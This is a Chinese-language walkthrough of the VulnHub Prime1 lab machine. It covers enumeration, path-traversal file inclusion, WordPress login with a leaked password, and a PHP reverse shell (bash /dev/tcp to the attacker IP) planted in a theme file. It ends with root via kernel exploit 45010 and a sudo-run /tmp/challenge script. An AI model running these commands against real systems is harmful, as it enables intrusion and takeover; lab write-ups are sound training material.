Prime1打靶
Prime1 靶机渗透
靶机下载地址 :https://www.vulnhub.com/entry/prime-1,358/
信息收集
目标机器ip为192.168.171.129
先快速扫描一下目标ip的端口开放情况,并将结果输出到min-rate文件里
发现22和80端口开放,进一步搜索信息,结果输出到ports文件里
用脚本扫描一下看看有没有漏洞
1 | sudo nmap --script=vuln -p22,80 192.168.171.129 -oN vul |
22端口暂时不管,先从80端口下手,打开网页,搜寻信息(让我康康~)
发现只有一张图片,看一下网页源码,发现没什么信息,莫得办法,dirsearch启动!
发现了不少东西,挨个康康
/dev下为一句话,没什么信息
/wordpress老生常谈了,较低版本的wp里会有好多可利用的漏洞
然后信息断了,不知道怎么办了,去网上查了一下发现我们的dirsearch的字典不够大,有一个secret.txt文件没有扫到,网上的方法是用dirb扫描
1 | dirb http://192.168.171.129 -X .zip,.txt -o dirbscan |
查看secret.txt文件
1 | curl http://192.168.171.129/secret.txt -o secret |
提示说要用wfuzz在php文件里进行模糊参数测试,先在index.php中测试一下
1 | wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.171.129/index.php?FUZZ |
发现file参数,猜测应该是读取任意文件,我尝试读取shadow文件结果都是提醒你在挖掘错误文件,突然发现在secret文件里有个提示要找location.txt查询得到以下提示
访问http://192.168.171.129/image.php?secrettier360 提示说找到正确参数了
进行文件包含http://192.168.171.129/image.php?secrettier360=../../../../../etc/passwd发现可以读取文件
1 | curl 192.168.171.129/image.php?secrettier360=../../../../etc/passwd | tail -5 |
查看可用用户名
文件包含该文件,得到密码
尝试用saket:follow_the_ippsec进行wp登录和ssh连接,发现不行
也许是其他用户的密码呢?试一下,最终发现可以用victor:follow_the_ippsec进行wp后台登录,登录成功
对于进入管理界面的wp的渗透思路有两种
1.在主题获得中上传自己的shell压缩包
2.在主题编辑器中找到可写如的php文件,写入反弹shell
尝试了一下发现思路2可行并成功找到可写文件secret.php
写入php反弹shell
1 | exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.171.128/443 0&>1'"); |
进行监听,成功getshell
用户提权
whoami查看用户为www-data用户
sudo -l查看是否有suid权限的命令,发现saket目录下有个enc文件有suid权限
去saket家目录下看看有没有有用的信息
在user.txt得到一串密文,执行一下./enc发现要输入密码,将密文输入,没有结果
没办法只能从内核漏洞下手了,
得到版本号后searchsploit搜寻攻击脚本
发现第二个第三个是可以本地提权的,克隆到本地
攻击端开启临时服务器传输文件
靶机端接收文件(提前切换到/tmp路径)
45010.c文件里有编译方法
1 | gcc 45010.c -o 45010 |
然后运行./45010实现提权
完结撒花
后记
从网上看了看,还有另一种解法
具体内容参考https://www.freebuf.com/articles/web/369140.html
大概思路是找到有suid权限./enc文件的密码
Prime1提权的另一种方式
查看用户权限
可以看到有用户saket不需要密码就能以root权限执行,当执行enc时候可以root权限执行却不要输入密码
移动到/home/saket目录下,首先先查看当前目录下有哪些文件与权限。发现enc是有执行权限的,直接尝试执行需要输入密码。尝试strings能否直接查看enc内容查看不了,尝试file读取enc提示没有读的权限。
1 | cd /home/saket |
翻找文件
既然提示要输入密码,接下来的思路就是找敏感文件,看看能不能在关键信息。
1 | find / -name '*backup*' 2>dev/null | sort | less |
在opt/backup文件夹尝试查看server_database,提示server_database是目录。进入server_database目录下找到backup_pass文件,通过读取文件提示enc的密码是backup_password
输入密码
再次执行enc文件,将获得的密码输入进去,提示权限不足enc.txt和key.txt无法释放。我丢,一开始我还是完了www-data权限不够,后面大佬点拨没有sudo去执行,加入sudo后终于成功。
不过出现good为何会如此怪异?txt那两个文件呢?发现执行后在当前目录进行释放了两个txt文件,查看enc.txt文件看到一个base64加密内容,查看key.txt文件提示将ippsec转成md5的hash
编码加密
将ippsec不输出结尾的换行符进行md5加密,以空格为分割,打印输出第一个值
1 | sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' |
1 | sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' ' |
gsub(/regexp/,replacement,target可省略)
1 | sudo awk '{gsub(/ /,"\n"); print}' Cipher | sort | uniq | wc -l |
1 | echo 密文 | openssl enc -d -a -加密方法 -K 密匙 |
1 | for Cipher in $(cat 加密方法文件);do echo '密文' | openssl enc -d -a -$Cipher -K 秘钥 2>/dev/null ;echo $Cipher;done |
最后得到saket旧密码为tribut_to_ippsec
远程连接一下
内网提权
查看系统详情
1 | uname -a |
查看用户权限
发现可以不需要密码以root权限去执行一个/home/victor/undefeated_victor文件
1 | sudo -l |
查看定时任务
1 | cat etc/crontab |
成功提权
提示/tmp/challenge文件没有找到
1 | sudo /home/victor/undefeated_victor |
来到/tmp目录下查看是否有challenge文件,发现没有challenge文件。于是新建一个challenge文件,在文件中写启用一个新的bash线程命令。对文件challenge赋予执行权限,再利用前面提醒的“不需要密码以root权限去执行一个/home/victor/undefeated_victor文件”再执行文件,就获得了root权限。
1 | cd /tmp |







































